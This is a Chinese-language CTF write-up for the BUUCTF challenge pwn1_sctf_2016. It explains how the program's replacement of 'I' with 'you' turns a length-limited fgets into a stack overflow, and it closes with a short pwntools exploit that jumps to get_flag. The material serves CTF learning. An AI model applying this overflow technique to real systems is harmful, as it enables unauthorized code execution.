[BUUCTF-pwn]——pwn1_sctf_2016
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——pwn1_sctf_2016
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——pwn1_sctf_2016
- 題目地址:https://buuoj.cn/challenges#pwn1_sctf_2016
- 題目:
話不多說,先下載下來再說。
在Linux上 checksec一下,發(fā)現(xiàn)開啟了NX保護,但是沒有開啟Stack的保護,也就是說我們可以很輕易的利用棧溢出。
在window的IDA上反匯編看下源碼,額 ,main函數(shù)沒有什么有用的信息。我們可以看下vuln函數(shù)。
發(fā)現(xiàn)好大一堆,發(fā)現(xiàn)了fgets函數(shù),但是很遺憾。它要求我們只能輸入不超過32個字符。而我們的s距離ebp有0x3c也就是60的距離。發(fā)現(xiàn)下面有個replace 函數(shù),進去看看有沒有什么幫助。
replace函數(shù)如下:
仔細研讀發(fā)現(xiàn)這個函數(shù),發(fā)現(xiàn)有點小尷尬,看的不是太懂。所以…
看到上面有 I 和 you。打算動態(tài)調(diào)試一下,輸入 I 或者 you 看看結(jié)果。結(jié)果發(fā)現(xiàn),它會將 輸入的 I 全部替換為 you!!!
看到這里,相信大家已經(jīng)有思路了,我們只需要輸入20個 I 和 任意四個字符,就可以開始覆蓋返回地址了。
查看右側(cè)函數(shù),發(fā)現(xiàn)有一個函數(shù)名稱極其囂張 get_flag 點開一看,果不其然。
查看函數(shù)所在位置:
我們看到system函數(shù)壓參數(shù)是在0X08048F13所以我們可以將其作為我們的返回地址。
當(dāng)然,0X08048F0D 也可以作為返回地址,這是get_flag函數(shù)開頭,并且get_flag函數(shù)無參。
exploit如下:
from pwn import * #context.log_level='debug' #加不加都可以 p=remote('node3.buuoj.cn',xxxx) payload='I'*20 + 'junk' +p32(0x08048F13) p.sendline(payload) p.interactive()總結(jié)
以上是生活随笔為你收集整理的[BUUCTF-pwn]——pwn1_sctf_2016的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——warmup
- 下一篇: [BUUCTF-pwn]——ciscn_